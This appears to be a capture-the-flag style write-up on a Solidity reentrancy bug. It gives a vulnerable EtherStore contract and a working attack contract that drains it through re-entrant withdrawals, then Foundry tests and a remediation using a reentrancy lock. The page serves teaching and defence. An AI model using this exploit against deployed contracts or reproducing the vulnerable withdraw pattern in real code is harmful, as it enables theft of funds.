ctfwriteup.com
Search…
⌃K

Reentrancy

  • One of the major dangers of calling external contracts is that they can take over the control flow.
  • Not following checks-effects-interactions pattern and no ReentrancyGuard.

Code Audit

contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
balances[msg.sender] -= _weiToWithdraw happens after low-level call transfer, vulnerable to reentrancy attack.

Solution

At the beginning balances[msg.sender] is 0, so we need to "warm up" it a bit by depositing something, such as 1 ether:
store.deposit{value: 1 ether}();
Initiate the first withdraw:
store.withdrawFunds(1 ether);
After the first withdraw, reenters will go through the fallback function:
fallback() external payable {
if (address(store).balance >= 1 ether) {
store.withdrawFunds(1 ether);
}
}
Here is the complete attack contract without logging info:
contract EtherStoreAttack is DSTest {
EtherStore store;
constructor(address _store) public {
store = EtherStore(_store);
}
function Attack() public {
// Deposit something so we have things to withdraw
store.deposit{value: 1 ether}();
// First withdraw to trigger reenter
store.withdrawFunds(1 ether);
}
fallback() external payable {
// If store still has enough money, steal it via reentrancy
if (address(store).balance >= 1 ether) {
store.withdrawFunds(1 ether);
}
}
}
Implement test:
contract ContractTest is Test {
EtherStore store;
EtherStoreAttack attack;
function setUp() public {
store = new EtherStore();
attack = new EtherStoreAttack(address(store));
vm.deal(address(store), 5 ether);
vm.deal(address(attack), 1 ether);
}
function testReentrancy() public {
attack.Attack();
}
}
Run test:
forge test --contracts ./src/test/Reentrancy.sol -vvvv

Mitigation

Implement reentrancy guard:
contract EtherStoreRemediated {
mapping(address => uint256) public balances;
bool internal locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
// lock up
locked = true;
// execute code
_;
// unlock
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
balances[msg.sender] -= _weiToWithdraw;
}
}
Implement test:
contract ContractTest is Test {
EtherStoreRemediated storeRemediated;
EtherStoreAttack attackRemediated;
function setUp() public {
storeRemediated = new EtherStoreRemediated();
attackRemediated = new EtherStoreAttack(address(storeRemediated));
vm.deal(address(storeRemediated), 5 ether);
vm.deal(address(attackRemediated), 1 ether);
}
function testFailRemediated() public {
attackRemediated.Attack();
}
}
Run test:
forge test --contracts ./src/test/Reentrancy.sol -vvvv